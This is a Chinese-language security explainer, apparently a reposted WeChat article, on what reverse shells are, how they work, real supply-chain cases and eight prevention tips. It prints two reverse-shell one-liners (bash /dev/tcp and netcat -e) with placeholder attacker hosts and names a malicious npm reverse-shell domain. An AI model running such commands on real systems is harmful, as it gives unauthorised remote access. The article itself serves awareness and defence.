科普文:什么是反弹 Shell

admin 2024年2月29日13:26:44评论10 views字数 3279阅读10分55秒阅读模式

回复"反弹shell"获取反弹shell命令在线生成工具仓库和下载链接

科普文:什么是反弹 Shell

反向 shell 是什么?

科普文:什么是反弹 Shell

反向 shell 攻击是一种网络攻击,其中威胁行为者建立从目标计算机(受害者的)到其计算机的连接。反向 shell 攻击通常通过 TCP 执行,在极少数情况下也通过 ICMP 或 UDP 执行。反向 shell 攻击的目标是为攻击者提供未经授权的远程访问,以重定向来自远程主机(受害者) 网络的传出连接。

反向shell如何工作?

反向 shell 攻击利用RCE漏洞(命令注入或代码注入)它们分三个阶段发生:连接启动、反向 shell 和命令注入。它的工作原理如下:

  1. 攻击者通过利用系统漏洞(例如端口转发和开放端口)的远程代码执行来危害目标系统。由于防火墙规则在开放端口上更容易绕过,因此攻击者可以通过端口 80 或 443 等端口获得访问权限,这些端口通常默认情况下是开放的。
  2. 接下来,攻击者部署一个有效负载,建立从受害者计算机到远程计算机的连接。攻击者的远程系统侦听并接受请求,允许他们进行管理访问以利用受害者的系统。由于连接是传出的,因此可以绕过仅检测传入连接的安全机制。(这是反向 shell 和绑定 shell 之间的一个重要区别。与反向 shell 不同,绑定 shell 可能更容易发现,因为连接是由攻击者的系统发起的。) 
  3. 为了维持持久访问,攻击者通过端口转发绕过网络过滤。攻击者还可能使用代理服务器或隧道技术来掩盖其连接的来源。为了隐藏恶意通信,攻击者使用加密,但这会在过程中增加额外的握手,从而使检测通信流变得更加困难。 
反向shell示例
继续阅读反向 shell 方法的示例及其执行方式:
  • Bash 反向 shell: Bash 反向 shell 是一种使用简单的一行命令执行的 Unix shell。例如:
bash -i >& /dev/tcp/attackers_ip/attackers_port 0>&1
在此命令中,/dev/tcp/attackers_ip/attackers_port代表反向 shell 将连接到的 IP 地址和端口号。
  • Java 反向 shell: Java 反向 shell 是使用 java.net.Socket 等库实现的。此攻击涉及与威胁行为者的服务器建立套接字连接以启用远程命令执行。
  • Netcat 反向 shell: Netcat 反向 shell 的一个示例是

nc -e /bin/sh attackers_ip attackers_port

在此命令中,Netcat 执行到指定 IP 地址和端口的 shell 连接,以建立反向 shell。

  • Perl 反向 shell: IO::Socket 模块通常用于启动 Perl 反向 shell 连接,从而实现受害者和攻击者系统之间的双向通信。
  • PHP 反向 shell:对于 PHP 反向 shell,攻击者使用 PHP 的套接字函数(open 和 exec)打开从受害者系统到其系统的连接。然后,威胁参与者执行命令将通信重定向到他们的系统。
  • Python 反向 shell: Python 提供强大的网络功能,使其非常适合创建反向 shell 连接。Python 反向 shell 涉及使用“socket”库来创建套接字连接。
  • Ruby 反向 shell: Ruby 反向 shell 攻击涉及创建到攻击者服务器的套接字连接,并建立双向通信以在受害者系统中执行命令。

反向 shell 的真实示例

在大多数情况下,黑客之所以能成功执行反向 shell 攻击,是因为目标系统容易受到攻击。由于大量毫无戒心的企业依赖云服务提供商,这种情况在供应链攻击中往往更为严重。为了执行如此大规模的攻击,黑客会释放恶意软件包,这些软件包一旦安装,就会触发受害者的计算机与攻击者的计算机建立反向 shell 连接。这些软件包可能会伪装成软件更新或其他无害的缝合软件包。 
让我们考虑三个现实生活场景:

1.阿里巴巴PostgreSQL数据库#BrokenSesame漏洞

Wiz Research 团队获得了两个阿里云 PostgreSQL 数据库的后门访问:ApsaraDB RDS 和 AnalyticDB。该后门是一个容器漏洞#BrokenSesame,是由不充分的容器隔离和对私有注册表的意外“写入”权限引起的。 
这种访问可能允许威胁行为者危害阿里巴巴的供应链,对客户的注册表执行“写入”操作,并发布伪装成软件更新的反向 shell 包。 

2. IBM Cloud PostgreSQL 数据库中的Hell's Keychain 漏洞

Wiz Research 团队利用 IBM Cloud PostgreSQL 数据库中名为“Hell's Keychain”的权限升级漏洞发现了一组漏洞,这些漏洞可能允许攻击者读取和修改 IBM PostgreSQL 数据库中存储的数据。 
这些漏洞包括 Kubernetes 服务帐户令牌、私有容器注册表密码、CI/CD 服务器凭据以及对内部构建服务器过于宽松的网络访问。如果被利用,它们将使 IBM 客户面临供应链攻击。(如果这听起来很熟悉,那是因为这与ExtraReplica 漏洞类似,Wiz 研究人员在该漏洞中获得了 Azure PostgreSQL 数据库的超级用户权限。)

3.npm反向shell漏洞

2023 年 10 月,一组安全研究人员发现了 npm 用户发布的 48 个恶意 package.json 文件。这些软件包被伪装成具有无害名称的合法文件,并配备了安装钩子,一旦安装了软件包,就会触发 rsh.51pwn[.]com 的反向 shell 命令。 
安装后,会自动创建一个新进程(独立于父进程,以避免检测)。该进程以分离模式运行 Java 反向 shell 脚本“scripts/rsh.js”,并使用 filterNet 来发现可用于通过受感染主机系统启动反向 shell 连接的 IPv4 地址。一旦建立反向 shell 连接,黑客(称为 hktalent)就有可能访问受感染组织的系统、网络和敏感数据。

反向shell攻击预防和检测技巧

以下是应对反向 shell 攻击的八种策略:

1. 完成定期安全审核

使用基于人工智能的自动化工具,定期进行漏洞扫描和渗透测试,以发现潜在的入口点和错误配置。当您模拟现实世界的攻击时,您可以衡量安全投资的有效性。 

2. 优先考虑依赖管理

谨防包含恶意代码的软件依赖项。仅从精心维护的存储库中选择依赖项,并验证软件包名称。使用人工智能驱动的软件组成分析 (SCA) 工具在安装前扫描开源包。您选择的工具必须使您能够快速扫描依赖项,识别已安装和尚未安装的软件中的漏洞。它还应该按优先级顺序对漏洞进行排序。

3.实施定期补丁管理

让您的应用程序保持最新的安全补丁,以修复已知的漏洞,这些漏洞可能被利用来建立反向 shell 连接。保持更新还可以减少您的攻击面。

4. 关注基于主机和容器的安全实践

实施基于主机的安全措施,包括适当的配置管理、最低权限访问控制和安全容器化。容器安全可防止恶意行为者窃取容器注册表,并将容器彼此隔离以防止横向移动。

5. 保持严格的访问和网络控制

强制执行最小权限原则,以确保用户和应用程序仅具有执行特定任务所需的访问权限。正如上述阿里巴巴黑客事件中所发现的,过度特权的帐户使攻击者能够升级其访问权限。利用网络分段来限制网络内未经授权的通信和横向移动。

6.利用日志监控和行为分析

通过主动监控系统日志(包括网络流量日志和命令执行日志),您可以检测可疑活动并主动响应。由行为分析技术支持的集中式日志监控工具将帮助您分析用户和系统行为,以识别与正常模式的偏差。

7. 使用防火墙和 IDS

利用具有eBPF功能的高级防火墙。与仅控制传入网络流量的基本防火墙不同,eBPF 将防火墙配置为管理传出流量并检测反向 shell 攻击。此外,实施入侵检测系统 (IDS) 以补充防火墙。IDS 检测异常活动并发出警报,例如意外的出站连接或异常的流量模式。

八、员工教育

员工培训有助于提高对网络安全威胁的认识,包括可能导致反向 shell 攻击的社会工程策略。鼓励您的员工采取安全做法,例如仅单击经过验证的链接并不阅读可疑电子邮件。教导团队识别可疑活动并报告潜在事件(例如未经授权的访问或数据泄露)。

原文始发于微信公众号(黑伞安全):科普文:什么是反弹 Shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月29日13:26:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   科普文:什么是反弹 Shellhttps://cn-sec.com/archives/2534399.html

发表评论

匿名网友 填写信息